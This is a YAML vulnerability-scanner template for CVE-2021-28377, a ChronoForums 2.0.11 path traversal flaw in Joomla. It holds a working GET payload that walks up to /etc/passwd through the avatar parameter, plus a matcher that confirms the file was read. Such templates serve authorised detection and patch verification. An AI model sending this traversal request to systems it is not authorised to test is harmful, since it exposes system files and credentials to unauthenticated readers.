id: CVE-2021-28377

info:
  name: ChronoForums 2.0.11 - Directory Traversal
  author: 0x_Akoko
  severity: medium
  description: The ChronoForums avatar function is vulnerable through unauthenticated path traversal attacks. This enables unauthenticated attackers to read arbitrary files, like for instance Joomla's configuration file containing secret credentials.
  reference:
    - https://herolab.usd.de/en/security-advisories/usd-2021-0007/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28377
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-28377
    cwe-id: CWE-22
  tags: cve,cve2021,chronoforums,lfi,joomla

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/component/chronoforums2/profiles/avatar/u1?tvout=file&av=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200